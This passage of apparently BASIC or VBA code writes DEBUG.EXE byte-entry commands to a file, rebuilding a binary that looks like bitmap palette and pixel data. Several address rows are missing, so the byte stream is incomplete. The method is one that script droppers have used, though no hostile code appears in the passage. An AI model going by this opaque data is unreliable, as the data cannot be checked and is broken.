Print #1, "E 0260 CE 00 52 6B C6 00 42 63 D6 00 42 6B F7 00 31 5A"

Print #1, "E 0270 E7 00 21 4A DE 00 18 4A EF 00 08 18 52 00 10 31"

Print #1, "E 0280 A5 00 10 39 CE 00 08 21 73 00 10 42 E7 00 10 42"

Print #1, "E 0290 EF 00 08 21 7B 00 08 29 9C 00 08 31 BD 00 08 39"

Print #1, "E 02A0 DE 00 08 39 E7 00 00 21 9C 00 BD CE FF 00 B5 C6"

Print #1, "E 02B0 F7 00 94 A5 D6 00 9C B5 FF 00 21 29 42 00 7B 9C"

Print #1, "E 02C0 FF 00 31 42 73 00 29 39 6B 00 52 73 D6 00 39 52"

Print #1, "E 02D0 9C 00 52 7B FF 00 18 29 5A 00 29 52 CE 00 21 4A"

Print #1, "E 02E0 C6 00 10 29 73 00 21 52 EF 00 18 42 BD 00 10 39"

Print #1, "E 02F0 BD 00 10 42 D6 00 00 08 21 00 00 10 42 00 AD BD"

Print #1, "E 0300 E7 00 A5 B5 DE 00 39 42 5A 00 9C B5 F7 00 84 9C"

Print #1, "E 0310 DE 00 7B 9C F7 00 39 5A B5 00 21 42 9C 00 18 31"

Print #1, "E 0320 73 00 10 31 8C 00 18 52 EF 00 08 21 63 00 10 42"

Print #1, "E 0330 CE 00 08 29 84 00 8C AD FF 00 52 6B A5 00 39 52"

Print #1, "E 0340 8C 00 4A 6B BD 00 31 4A 84 00 5A 8C FF 00 4A 73"

Print #1, "E 0350 D6 00 52 84 FF 00 42 7B FF 00 31 63 D6 00 29 52"

Print #1, "E 0360 B5 00 31 6B F7 00 29 63 EF 00 18 4A BD 00 10 4A"

Print #1, "E 0380 84 00 AD BD DE 00 84 94 B5 00 A5 BD EF 00 AD C6"

Print #1, "E 0390 FF 00 84 9C CE 00 8C A5 DE 00 94 B5 FF 00 8C AD"

Print #1, "E 03A0 F7 00 6B 8C D6 00 63 84 CE 00 7B A5 FF 00 52 7B"

Print #1, "E 03B0 D6 00 21 42 8C 00 31 63 CE 00 08 21 5A 00 08 31"

Print #1, "E 03C0 8C 00 9C AD CE 00 B5 CE FF 00 AD C6 F7 00 7B 94"

Print #1, "E 03D0 C6 00 9C BD FF 00 6B 84 B5 00 84 AD FF 00 7B A5"

Print #1, "E 03E0 F7 00 63 8C DE 00 6B 9C FF 00 29 42 73 00 4A 7B"

Print #1, "E 03F0 DE 00 52 8C FF 00 42 73 D6 00 42 84 FF 00 08 21"

Print #1, "E 0400 52 00 10 42 A5 00 10 52 D6 00 08 42 B5 00 A5 BD"

Print #1, "E 0410 E7 00 A5 C6 FF 00 9C BD F7 00 8C B5 FF 00 84 AD"

Print #1, "E 0420 F7 00 5A 7B B5 00 73 A5 FF 00 63 9C FF 00 42 84"

Print #1, "E 0430 F7 00 18 42 8C 00 6B 7B 94 00 9C B5 DE 00 9C BD"

Print #1, "E 0440 EF 00 4A 5A 73 00 73 8C B5 00 94 BD FF 00 8C B5"

Print #1, "E 0450 F7 00 00 10 29 00 7B 8C A5 00 A5 BD DE 00 A5 C6"

Print #1, "E 0460 F7 00 39 4A 63 00 18 29 42 00 21 39 5A 00 9C BD"

Print #1, "E 0470 E7 00 39 52 73 00 18 42 7B 00 08 21 42 00 94 C6"

Print #1, "E 0480 FF 00 8C BD F7 00 42 63 8C 00 84 9C B5 00 4A 52"

Print #1, "E 0490 5A 00 94 A5 B5 00 73 84 94 00 9C BD DE 00 52 6B"

Print #1, "E 04A0 84 00 8C BD EF 00 52 73 94 00 10 21 31 00 7B 84"

Print #1, "E 04B0 8C 00 7B 8C 94 00 5A 6B 73 00 39 4A 52 00 21 39"

Print #1, "E 04C0 42 00 8C A5 AD 00 4A 52 52 00 39 42 42 00 52 63"

Print #1, "E 04D0 63 00 9C BD BD 00 21 29 29 00 18 21 21 00 10 18"

Print #1, "E 04E0 18 00 00 10 10 00 84 9C 94 00 39 4A 42 00 21 31"

Print #1, "E 04F0 29 00 00 18 08 00 29 39 29 00 00 08 00 00 00 10"

Print #1, "E 0500 00 00 10 18 08 00 08 10 00 00 42 52 31 00 08 08"

Print #1, "E 0510 00 00 21 18 08 00 10 08 00 00 31 29 29 00 08 00"

Print #1, "E 0520 00 00 10 00 08 00 4A 42 4A 00 18 10 18 00 08 00"

Print #1, "E 0530 08 00 00 00 00 00 FF 04 FF FF FF 04 04 FF 04 FF"

Print #1, "E 0540 FF FF FF FF 0F 04 04 04 F1 FF 0E FA D1 A7 A9 BC"

Print #1, "E 0550 A2 FA FF FF F1 FF 0E F1 2E 21 FF F1 FA FF FF FF"

Print #1, "E 0560 FF FF FF FF FF FF FF 04 FF FF FF FF FF FA C5 B7"

Print #1, "E 0570 A7 B7 B7 B7 B7 B7 B8 AC 6C 6C 40 8C 40 6C 6C 7C"

Print #1, "E 0580 7C 4F 8E 8E 53 32 0E F8 FE F1 FA FE FF FF FF FF"

Print #1, "E 0590 FF FF FF FF FF FF FF FF FF FF FF 04 FF FF FF FF"

Print #1, "E 05A0 04 FF FF FF FF FF FF FF FF FF 04 FF 04 04 10 0F"

Print #1, "E 05B0 0E 0F 0E FF FF 04 FF FF 04 04 FF FF FF 04 FF 04"

Print #1, "E 05C0 FF FF FF 04 FF 04 FF FF 10 04 FF FF FF FF FF FF"

Print #1, "E 05D0 CE 96 60 A2 45 FE FF FF 01 FF 84 9B 66 1A E9 F1"

Print #1, "E 05E0 FF 0E 0E FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 05F0 FF FA D2 B7 A7 B7 A7 A7 B7 B7 A7 3B 59 4F 40 40"

Print #1, "E 0600 6C 6C 50 55 8E 8E 8E 7E 7E 32 63 FF FE FF F1 FE"

Print #1, "E 0610 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 0620 04 FF FF FF FF 04 FF 04 FF FF 04 04 04 04 FF FF"

Print #1, "E 0630 04 04 FF FF FF FF FF 04 04 04 04 FF FF 00 FF FF"

Print #1, "E 0640 FF 04 FF 04 FF 04 FF FF 04 FF FF FF 10 FF FF 04"

Print #1, "E 0650 FF FF FF 70 B7 B7 52 B3 28 FA F6 F1 FF 97 9A 9D"

Print #1, "E 0660 4F 78 D4 FF FF FE 0E FF FF FF FF FF FF FF 04 FF"

Print #1, "E 0670 FF FF FF FF FF FA D2 B7 2A B7 B7 A7 B8 B7 A7 1C"

Print #1, "E 0680 44 59 59 33 4E 6C 7C 7C 8E 8E 7E 6E 6E 44 2E FF"

Print #1, "E 0690 FE FF FF FE FF FF FF FF FF FF FF FF FF 04 FF FF"

Print #1, "E 06A0 04 FF FF FF FF 04 FF 04 04 FF FF 04 FF 04 FF 04"

Print #1, "E 06B0 FF 04 FF FF 04 FF FF 04 04 FF FF FF 04 04 04 FF"

Print #1, "E 06C0 FF 04 FF FF FF 04 04 04 FF FF FF 04 FF FF 04 04"

Print #1, "E 06D0 04 FF FF 04 FF FF FF 10 B8 62 45 A2 2E FE FA FF"

Print #1, "E 06E0 C2 A7 80 9D 5B 6C 6A DC FF F8 FF FF FF FF FF FF"

Print #1, "E 06F0 FF FF FF FF 04 FF 04 FF FF FA A7 2A A7 B7 B7 B8"

Print #1, "E 0700 B7 B7 A7 4C 58 45 6E B5 59 7C 6C 50 6F 8E 32 8D"

Print #1, "E 0710 6E 45 7B 0E FF FF FF FF FF FF FF FF FF FF FF 04"

Print #1, "E 0720 FF FF FF FF FF FF FF FF FF FF FF FF 04 FF FF 04"

Print #1, "E 0730 FF FF FF 04 FF 04 FF FF FF FF FF 04 04 FF FF 04"

Print #1, "E 0740 04 04 FF 04 04 04 FF 04 FF FF FF 04 04 FF FF FF"

Print #1, "E 0750 FF 04 FF FF 04 FF FF 04 FF FA FF D4 D2 1C 45 AD"

Print #1, "E 0760 FF FF FF 95 99 D2 DB 62 B4 5B 7E 2F DC FF F1 FF"

Print #1, "E 0770 FF FF FF FF FF FF FF FF FF FF FF FF FF FA C5 B7"

Print #1, "E 0780 A7 B7 B7 A7 B7 A7 D2 67 44 6D 45 44 6E 59 6F 4F"

Print #1, "E 0790 1C 32 6E 45 45 52 A2 E8 FA FF FF FF FF FF FF FF"

Print #1, "E 07A0 FF FF FF FF FF FF FF 04 04 FF 04 04 FF 04 FF FF"

Print #1, "E 07B0 04 04 FF FF 04 FF 04 FF FF FF FF FF 04 04 FF FF"

Print #1, "E 07C0 FF FF FF 04 FF FF 04 FF 00 00 FF FF FF 04 04 04"

Print #1, "E 07D0 FF FF 04 FF FF 04 FF FF 04 04 FF 04 FF F8 FF 95"

Print #1, "E 07E0 B9 52 7A 0E FF FF 2A DB 80 B7 99 C5 45 5C 5C 52"

Print #1, "E 07F0 41 21 0D FF FF FF FF FF FF 04 FF FF FF FF FF FF"

Print #1, "E 0800 FF FA C6 B7 B7 B7 B7 A7 A7 A7 D2 38 44 44 6E 59"

Print #1, "E 0810 44 6E 6E 6E 45 44 52 52 52 52 8F E9 FA FF FF FF"

Print #1, "E 0820 FF FF FF FF FF FF FF FF FF FF 04 FF 04 04 04 FF"

Print #1, "E 0830 04 FF 04 FF 04 FF 04 04 FF FF 04 FF 04 04 FF 04"

Print #1, "E 0840 04 FF 04 FF FF 04 04 04 04 FF 04 00 00 FF 04 FF"

Print #1, "E 0850 FF FF 04 FF FF FF FF FF 04 FF FF FF FF FE FF FF"

Print #1, "E 0860 0E FA FF 9A 6A 23 F1 0F FE 61 D2 B7 A7 B8 D2 80"

Print #1, "E 0870 41 7A 7F 5C 4F 22 FB FF FF FF FF FF FF FF 04 04"

Print #1, "E 0880 FF FF FF FF FF FA AA B7 B7 B7 A7 A7 60 99 DB A9"

Print #1, "E 0890 42 45 44 44 45 44 44 5C 44 44 52 52 34 34 8F FF"

Print #1, "E 08A0 F8 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 08B0 04 FF 04 04 FF 04 FF 04 04 FF 04 04 FF 04 FF 04"

Print #1, "E 08C0 FF FF FF FF 04 FF 04 04 FF 04 04 04 04 04 04 04"

Print #1, "E 08E0 FF 04 04 FF FF 0E F1 2A 36 24 FA FF FA C5 DB A7"

Print #1, "E 08F0 96 D2 B9 85 15 3F 45 D0 F1 FF F1 FE FF FF FF FA"

Print #1, "E 0900 FA FF 04 FF FF 04 FF FF F8 FF 9F 99 60 B6 80 99"

Print #1, "E 0910 B9 B9 B9 B9 32 44 44 6E 59 59 6D B5 44 52 41 31"

Print #1, "E 0920 52 7B 1B 0E FF FF FF FF FA FF FF FF FF FF FF FF"

Print #1, "E 0930 FF FF FF 04 FF FF 04 04 04 FF FF FF FF FF 04 FF"

Print #1, "E 0940 04 FF 04 FF 04 FF 04 04 04 04 FF FF FF FF FF FF"

Print #1, "E 0950 04 04 FF 04 FF 00 FF FF FF FF FF FF FF 04 FF FF"

Print #1, "E 0980 FF FF FF FF FF FF FF FF FF FF FF FF F1 F1 FF 75"

Print #1, "E 0990 C6 B9 C6 B9 B9 B9 80 B9 6E 52 6D 59 6D 6D 32 6E"

Print #1, "E 09A0 45 45 44 52 52 58 61 0E FF FF FF FA FF FF FF FF"

Print #1, "E 09B0 FF FF FF FF FF FF FF FF FF FF 04 04 04 04 FF 04"

Print #1, "E 09C0 04 FF FF 00 FF 00 FF 04 FF FF 04 04 04 00 04 04"

Print #1, "E 09D0 04 FF 04 FF 04 04 FF FF 00 04 FF 04 FF FF FF FF"

Print #1, "E 09E0 FF FF FF FF FF FF 04 04 FF FF FF FF FF FA FA 0F"

Print #1, "E 09F0 FA FF F4 FF FE A7 C5 85 90 B4 B4 8E 4E 8A 41 18"

Print #1, "E 0A00 23 FF FF F1 F1 FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 0A10 FF FF FF 24 99 9D 99 B9 80 80 80 B9 A0 6E 44 6D"

Print #1, "E 0A20 59 6E 7E 7E 6D 6E 44 58 58 45 FF FF FF FA FA FF"

Print #1, "E 0A30 FF FF FF FF FF FF FF FF FF FF FF FF 04 FF FF FF"

Print #1, "E 0A40 FF FF FF FF FF 04 FF 00 00 FF FF FF FF FF FF FF"

Print #1, "E 0A50 04 FF 04 00 FF FF FF FF FF FF FF FF FF 00 FF 04"

Print #1, "E 0A60 04 FF FF 04 04 04 FF 04 FF 04 04 FF 04 04 FF FF"

Print #1, "E 0A70 FF FA FA 0E FB F1 F1 FA 17 C2 AC 45 59 90 8E 8E"

Print #1, "E 0A80 40 BE 8A 31 2E 02 BB FE FF F8 FA FF FF FF FF FF"

Print #1, "E 0A90 FF FF FF FF FF FF FB 0E 99 9D DB A9 B9 80 80 A9"

Print #1, "E 0AA0 BC 6A B5 6E 6E 6E 6E 7E 42 6E 58 8F 52 42 FF FF"

Print #1, "E 0AB0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 0AC0 FF FF 04 FF FF 04 FF FF FF 00 FF 00 FF FF 00 00"

Print #1, "E 0AD0 FF 04 FF 00 FF FF 00 00 00 04 FF 04 FF 04 FF 04"

Print #1, "E 0AE0 00 00 04 FF 04 FF FF 04 04 FF 04 FF FF 04 FF FF"

Print #1, "E 0AF0 04 FF FF FF FF FF FF FF FB FF FF 0E A4 A7 54 57"

Print #1, "E 0B00 45 55 26 5A 8C 88 38 34 7B CB 32 CF 0E FF F8 FF"

Print #1, "E 0B10 F1 FF FF FF FF FF FF FF FF FA FE FF 39 C6 B9 A9"

Print #1, "E 0B20 A9 A9 A9 BA A9 3D 42 44 44 45 6E 6E 35 6E 31 58"

Print #1, "E 0B30 52 1D FF FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 0B40 FF FF FF FF FF FF 04 FF FF 04 04 FF 04 FF FF 00"

Print #1, "E 0B50 00 FF 00 FF 04 04 FF FF FF 04 00 00 04 04 04 04"

Print #1, "E 0B60 04 04 FF FF 00 FF FF 04 FF FF FF FF 04 FF 04 FF"

Print #1, "E 0B70 FF FF 04 04 0E FF FF FF FF FF FF FF FF FF FF 80"

Print #1, "E 0B80 B8 AB 1D 34 36 31 2F 43 6A 85 62 67 52 79 5A 58"

Print #1, "E 0B90 3C 0E FF F1 FF FF FF FF FF FF FF FF FF FF FA FF"

Print #1, "E 0BA0 0E 2B AA AA A9 A9 A9 80 9D 67 45 45 B3 45 6E B5"

Print #1, "E 0BB0 42 B5 6E 44 41 84 FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 0BC0 FF FF FF FF FF FF FF FF FF 04 FF FF FF FF FF FF"

Print #1, "E 0BD0 FF FF 00 00 FF 00 00 FF 04 FF FF FF 00 00 00 FF"

Print #1, "E 0BE0 FF 04 04 FF FF FF FF 04 FF 04 FF 04 FF FF FF FF"

Print #1, "E 0BF0 FF FF FF FF FF 04 FF FF 04 FF FF FF FF FF FE FA"

Print #1, "E 0C00 FF FF 5F A7 D3 31 34 58 79 81 E6 F1 FF 10 AB 9D"

Print #1, "E 0C10 B4 8E A0 5A 6A DA FF FF FF 03 FF FF FF FF FF FF"

Print #1, "E 0C20 F1 FF F6 FF FA 10 A9 A9 A9 A9 B9 A9 AC 85 45 44"

Print #1, "E 0C30 45 45 52 44 B5 45 6E 42 7B FF FF FF FF FF FF FF"

Print #1, "E 0C40 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 0C50 FF FF FF FF FF FF FF FF 00 FF 00 FF 04 FF FF FF"

Print #1, "E 0C60 04 04 00 FF 04 FF 04 FF 04 04 04 04 FF FF FF FF"

Print #1, "E 0C70 FF FF FF 04 04 FF FF FF FF FF 04 FF 10 FF FE FA"

Print #1, "E 0C80 FF D6 0E 9A A9 9D C5 99 75 52 52 5C 52 BF BF 43"

Print #1, "E 0C90 3F FF FF FF BB 9D AC 7C 32 32 55 6C 8E 0A F8 FF"

Print #1, "E 0CA0 F1 F3 FF 39 E6 FF FF EF F1 0D 10 BC 9D 80 62 77"

Print #1, "E 0CB0 BC 9D 2F 52 52 58 34 34 15 68 FF FF FF FF FF FF"

Print #1, "E 0CC0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 04"

Print #1, "E 0CD0 FE 04 FE 04 FF FF 04 04 04 00 04 FF FF FF 04 04"

Print #1, "E 0CE0 04 04 FF 00 FF 04 FF FF 04 04 FF FF FF 04 FF 04"

Print #1, "E 0CF0 04 04 FF FF 04 FF FF FF FF 04 04 04 FF FF FF FF"

Print #1, "E 0D00 FF 0E FA F1 7D FF FF DB B9 B9 9D B9 99 59 7B 28"

Print #1, "E 0D10 35 5A 90 B5 3A E1 FA FF 0F A9 9D BD 53 33 50 5B"

Print #1, "E 0D20 7C 4F 3D 09 FA FF FF 25 6C 31 17 FA FB FE FF 2C"

Print #1, "E 0D30 A9 9D AC 85 9D 9D AE 52 52 58 34 8F 15 F1 F2 FA"

Print #1, "E 0D40 FF F1 FF FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 0D50 FF FF FF FF E5 FF FF FF FF FF 04 FF 04 FF 04 FF"

Print #1, "E 0D60 FF 04 04 04 FF FF 04 FF 04 04 04 FF FF 04 04 04"

Print #1, "E 0D70 04 FF 04 04 FF FF FF FF FF FF FF 04 FF FF FF FF"

Print #1, "E 0D80 FF FF FF 04 FF 0E F6 FF 9C FF DC B9 60 C6 A9 AE"

Print #1, "E 0D90 6F 33 45 58 44 42 6D 52 F1 0E FF F6 FF 0F 80 A9"

Print #1, "E 0DA0 AC 50 56 50 6C B4 7C 56 6D 74 FA F1 0F 79 8C 59"

Print #1, "E 0DB0 E1 FA FF FF 98 AF B1 AC 9D A9 9D 52 52 34 34 34"

Print #1, "E 0DC0 CB 0E FF F6 FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 0DD0 FF FF FF FF FF FF FF 04 FF D6 04 FF F6 FF 04 04"

Print #1, "E 0DE0 04 FF 04 FF 04 04 FF FF FF 04 FF FF 04 04 FF 04"

Print #1, "E 0DF0 FF FF FF FF 04 FF 04 04 04 04 FF 04 FF FF FF FF"

Print #1, "E 0E00 FF FF FF FF FF FF FF FF FF 0E F1 51 12 FF 2A C5"

Print #1, "E 0E10 96 49 B5 8E 90 B4 8D 45 1D 63 FF FF FF 0D F1 FF"

Print #1, "E 0E20 FA 0E 99 75 AA BD 5B 50 40 4F 7C 6F 40 6C 3E FF"

Print #1, "E 0E30 0E FA 0F 6D B4 84 F6 FB 0E 85 AF 9D A9 A9 A9 41"

Print #1, "E 0E40 34 52 34 41 1B FF FF 0E FF FF FF FF FF FF FF FF"

Print #1, "E 0E50 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF F1"

Print #1, "E 0E60 F1 04 FF FF 04 04 FF 04 04 04 FF 04 04 04 04 04"

Print #1, "E 0E70 FF FF FF 04 FF 04 FF 04 04 FF FF 04 04 04 04 04"

Print #1, "E 0E80 FF 04 FF 04 FF FF FF FF FF 04 04 FF FF FE F2 77"

Print #1, "E 0E90 08 F1 B7 A7 85 8D 53 7E 7E 6E 90 6D 7B D4 AB 3B"

Print #1, "E 0EA0 92 0F F1 FF FE FF A9 80 C6 DB AC 6C 6C 6C 55 50"

Print #1, "E 0EB0 56 40 7C F4 FE FF FF F8 FF B0 08 FF 0E 10 76 77"

Print #1, "E 0EC0 A9 AA 9D AC 41 52 34 34 3C F1 F1 0E FF FF FF FF"

Print #1, "E 0ED0 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FA"

Print #1, "E 0EE0 FF FF 0B 0E F1 FF FF FF 04 04 04 04 FF 04 04 04"

Print #1, "E 0EF0 FF FF FF 04 04 FF FF 04 FF FF FF FF 04 04 04 04"

Print #1, "E 0F00 FF FF 04 FF 04 FF FF FF FF FF FF FF 04 04 04 04"

Print #1, "E 0F10 FF FA 0E 83 F8 0E A7 60 B5 B5 7E 6F 32 5A 32 31"

Print #1, "E 0F20 8A 6A 8E 50 55 1A 0D FE 0E 92 BC BC A9 60 80 9D"

Print #1, "E 0F30 6C 4F 6C 7C 7C 56 7E 4F F6 F8 FB FF 0E 0E 4E C3"

Print #1, "E 0F40 FF F8 0E BA AA AA 77 62 52 52 52 52 1A 0E F1 F1"

Print #1, "E 0F50 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 0F60 FF FF FF FF FF FF 48 24 FF F1 FF FF 04 FF FF FF"

Print #1, "E 0F70 FF 04 04 04 04 FF FF FF FF FF FF 04 04 FF FF FF"

Print #1, "E 0F80 FF 04 FF 04 FF 04 04 04 FF FF 04 04 FF FF FF 04"

Print #1, "E 0F90 FF 04 FF FF FF F8 67 2E FF 0F 5E 42 58 B5 90 1C"

Print #1, "E 0FA0 2F 0D FF FF FF FF FF FF FF FF FF FF FF 10 78 BA"

Print #1, "E 0FB0 9D 9D AA BA 9D 6C 26 6C 4F 55 26 6F 6E C3 F8 FA"

Print #1, "E 0FC0 FF FF FA 12 82 07 FF 0F AC A9 BC 9D 38 31 31 6E"

Print #1, "E 0FD0 44 21 FF FF FF FA FF FF FF FF FF FF FF FF FF FF"

Print #1, "E 0FE0 FF FA FA FF FE FF FE FF FF FF 0E 09 F1 0E 0E F8"

Print #1, "E 0FF0 FF FF FF 04 04 04 FF 04 FF FF FF FF 04 04 FF FF"

Print #1, "E 1000 FF FF FF FF FF 04 04 FF FF FF 04 04 04 FF 04 FF"

Print #1, "E 1010 FF 04 04 04 FF FF FF FF FF FF FF F6 C1 A7 C5 8F"

Print #1, "E 1020 31 12 FF E6 F1 FF FF FF FF FF FF FF FF FF FA F6"

Print #1, "E 1030 F1 FF CB 12 BA 80 A9 99 C5 D2 BE 8C 50 50 50 7E"

Print #1, "E 1040 6F 6F 6E 39 FA FF F1 FF F1 13 3B 63 AC AA 9D AA"

Print #1, "E 1050 BC BC 44 6E 44 3F CB FF FA FF FF FF FF FF FF FF"

Print #1, "E 1060 FF F1 F1 FF FF FF FF FF FF E8 FF FF F6 FE 0E FF"

Print #1, "E 1070 10 CB F1 FF FF FF 04 04 FF 04 FF FF 04 FF FF FF"

Print #1, "E 1080 FF FF FF FF 04 FF FF 04 04 04 FF FF FF 04 FF FF"

Print #1, "E 1090 FF 04 FF 04 04 04 04 FF FF FF 04 04 FF FF F1 FA"

Print #1, "E 10A0 A4 D2 BA 43 3C 10 60 67 78 0E FF FF FF FF FF FF"

Print #1, "E 10B0 FF FF FA FA FE FF 15 71 9C C5 B7 2A 96 A7 D2 8C"

Print #1, "E 10C0 26 50 6F 6F 55 7E 90 4F 82 FE F1 FF FF F2 12 3B"

Print #1, "E 10D0 BB BC BC BC AC AA AE 42 45 59 2E EB FA FF FF FF"

Print #1, "E 10E0 FF FF FF FF FF FF FF FF FF FF FA FF FF 0E FE 06"

Print #1, "E 10F0 0D FF FE F1 0E 0F FF F1 FF FF FF FF 04 04 FF 04"

Print #1, "E 1100 04 FF FF FF FF FF FF 04 04 FF FF FF FF FF FF 04"

Print #1, "E 1110 FF FF FF 04 04 04 FF 04 FF FF FF FF FF 04 FF FF"

Print #1, "E 1120 FF FA F6 FF A7 D2 81 7B FF 95 A9 B1 90 F1 FF FF"

Print #1, "E 1130 FF FF 04 FF FF FF 04 FF 04 04 AC 4A 2B A7 A7 B7"

Print #1, "E 1140 B7 A7 D2 9D 26 55 8E 7E 4F 33 6F 90 32 82 FF FA"

Print #1, "E 1150 FF FF F1 13 FF 49 AA BC 9D B9 9D 52 45 59 41 74"

Print #1, "E 1160 FE FF FF FF FF FF FF FF FF FE FE FF FF FF FF FF"

Print #1, "E 1170 FF FF 0E 0F 07 E6 FB FF 70 0E FF 0E 04 FF FF FF"

Print #1, "E 1180 FF 04 04 04 FF FF FF 04 FF 04 FF FF FF FF FF FF"

Print #1, "E 1190 04 04 04 FF FF FF FF FF FF 04 04 04 FF 04 FF 04"

Print #1, "E 11A0 FF FF FF 04 FF F8 FF 0E B7 CA 3C 6B 0E A5 D2 85"

Print #1, "E 11B0 7E 0E FF FF FF FF FF 04 FF FA FF 04 FF FF 7F 80"

Print #1, "E 11C0 49 BA D2 B8 B7 A7 D2 B9 33 5A 4F 6F 6D 6F 8E 7E"

Print #1, "E 11D0 6F 6E 0F F8 FA 0E FB FF 1A 11 AA BA AA A9 9D AC"

Print #1, "E 11E0 B5 45 3F 84 0E FF FF FF FF FF FF FF FF FA FA F6"

Print #1, "E 11F0 FF F1 FF F1 FF FF FF FF 0E 10 70 F1 FF FF FF 0D"

Print #1, "E 1200 FF 04 FF FF 04 FF 04 04 04 FF FF FF 04 04 04 FF"

Print #1, "E 1210 FF FF 04 FF FF FF FF FF 04 04 FF FF FF FF 04 FF"

Print #1, "E 1220 FF FF 04 04 FF 04 FF FF FF FF FF 70 99 60 A2 0B"

Print #1, "E 1230 12 A5 D2 38 52 FF FF FF 04 FF 04 FF 04 FF FF FF"

Print #1, "E 1240 FF FA 0E 38 9D D2 D3 C5 99 99 9A B9 8B 6C 50 5A"

Print #1, "E 1250 6F 7E 33 4F 7E 55 66 CB 0F FF F1 FE 42 3C 11 99"

Print #1, "E 1260 A9 A9 A9 9D 45 31 52 41 70 F1 FF FF FF FF FF FF"

Print #1, "E 1270 FF FF E2 F1 F4 F1 FF FF FF FF F1 F4 FF 0E 48 06"

Print #1, "E 1280 FF FE FF FF FF 04 FF FF 04 FF 04 FF FF FF FF 04"

Print #1, "E 1290 04 FF FF 04 FF FF FF 04 FF 04 FF 04 FF FF 04 FF"

Print #1, "E 12A0 04 04 04 FF 04 FF 04 FF 04 FF FF FF FF FF FF FF"

Print #1, "E 12B0 9A 77 B5 FA 0E 99 9D A9 A2 F1 04 FF FF 04 FF 04"

Print #1, "E 12C0 04 04 F1 FF FF F8 FE 10 BA DB AA A9 80 A9 BA 9D"

Print #1, "E 12D0 BC 6F 55 5A 5B 4F 69 32 55 33 5B 1F 83 92 FA F1"

Print #1, "E 12E0 A9 AD 7A 76 80 A9 A9 9D 45 41 52 31 CB F1 FF FF"

Print #1, "E 12F0 FF FF FF FF FF 9D 4B 82 61 FF FA 0E 92 06 FF FF"

Print #1, "E 1300 FF FA 0E 2D E6 FF FF F1 FF 04 FF FF 04 FF 04 04"

Print #1, "E 1310 FF FF 04 FF FF FF FF FF FF FF 04 04 04 04 04 04"

Print #1, "E 1320 FF 04 FF 04 FF 04 04 04 FF FF FF 04 04 FF 04 04"

Print #1, "E 1330 FF FF FE 04 FA F6 F2 0E FF FE 24 8A 83 FE FF FF"

Print #1, "E 1340 FF 04 FF FF FF 04 FF FF 04 FF FF F1 FF 91 62 9D"

Print #1, "E 1350 BA 9D A9 A9 BA 9D 9D B4 33 4F 4F 4F 33 50 6C 69"

Print #1, "E 1360 6C 8C 6C 59 FF 10 62 31 D0 49 80 C5 80 31 52 5C"

Print #1, "E 1370 23 FD FF FE FF FF 2A AC 67 DB A9 85 5B 5B 55 FA"

Print #1, "E 1380 0E A7 9D 7C 55 39 FA EF FF F1 13 1A FF FF FF 04"

Print #1, "E 1390 FF FF 04 FF FF FF FF FF FF FF 04 04 04 FF 04 04"

Print #1, "E 13A0 04 04 04 FF FF FF FF FF FF 04 FF 04 04 FF 04 04"

Print #1, "E 13B0 FF FF FF 04 04 FF 04 FF FF FE FE FF FF FF FF FF"

Print #1, "E 13C0 FF FF FF FF FF FF FF 04 FF FF 04 FF FF 04 FF FF"

Print #1, "E 13D0 F1 0F 49 9D 9A BC A9 AA AA AA BC 45 45 B5 59 7E"

Print #1, "E 13E0 4F 6F 4E 6C 40 8C 59 B5 FA 0F BC 69 79 76 99 D2"

Print #1, "E 13F0 B9 31 52 5C 41 0B FF 0D F1 FF B7 D2 BE AC D2 BC"

Print #1, "E 1400 6C 90 45 FF FE 96 D2 40 90 4F C3 0E FF FE FF 57"

Print #1, "E 1410 FF FF FF FF 04 FF FF FF FF FF FF FF FF 04 FF FF"

Print #1, "E 1420 04 FF 04 04 04 04 FF FF 04 FF FF 04 FF FF FF 04"

Print #1, "E 1430 04 04 FF 04 FF FF FF FF FF FF FF F1 FF FF FF FF"

Print #1, "E 1440 04 FF FF F6 F6 04 FF FF FF FF FF FF FF FF FF 04"

Print #1, "E 1450 04 FF FF FF FA 04 10 80 99 BC 9D 9D A9 BA AA 42"

Print #1, "E 1460 42 6E 6D 7E 32 B4 8E 6F 6C 6D 58 34 FF FE 10 AC"

Print #1, "E 1470 3E 9B C5 A7 D2 41 44 52 41 1B FF FF FF 0A CA D3"

Print #1, "E 1480 AC 38 AA 9D 32 44 B3 F1 F6 60 B8 60 4F 8E 3E 0A"

Print #1, "E 1490 FB FF FE FF FF F1 F6 F6 FF 04 04 04 FF 04 FF FF"

Print #1, "E 14A0 04 FF 04 FF FF 04 FF FF 04 FF FF 04 04 FF 04 FF"

Print #1, "E 14B0 04 04 04 FF 04 04 FF FF FF 04 FF FF 04 FF 04 FF"

Print #1, "E 14C0 FF FF FA FE 04 FF 04 FF FF F8 04 FF 04 04 FF FF"

Print #1, "E 14D0 04 FF 04 FF 04 04 FF FE FE FF FF 7B 77 A9 9D 9D"

Print #1, "E 14E0 A9 BA BA 42 44 44 6E 6E 7E 32 8C 88 8B 5C 18 3F"

Print #1, "E 14F0 EE F8 F1 AB 38 BC BA 60 A9 52 52 5C 58 64 FF FF"

Print #1, "E 1500 0E 37 60 D2 A7 38 BC 67 32 25 3F D6 FF D2 D2 A5"

Print #1, "E 1520 FF FF FF FF FF FF FF 04 04 FF FF FF FF 04 04 04"

Print #1, "E 1530 04 FF 04 04 FF 04 04 FF FF 04 FF FF 04 FF 04 04"

Print #1, "E 1540 FF FF 04 FA FF 04 04 FE FE 04 04 04 FF 04 FF 04"

Print #1, "E 1550 04 04 FF 04 FF 04 FF 04 FF 04 04 FF FF FA FF 0E"

Print #1, "E 1560 76 62 9D 9D 9D 9D AA 42 44 59 6E 6E 6E 6F 40 67"

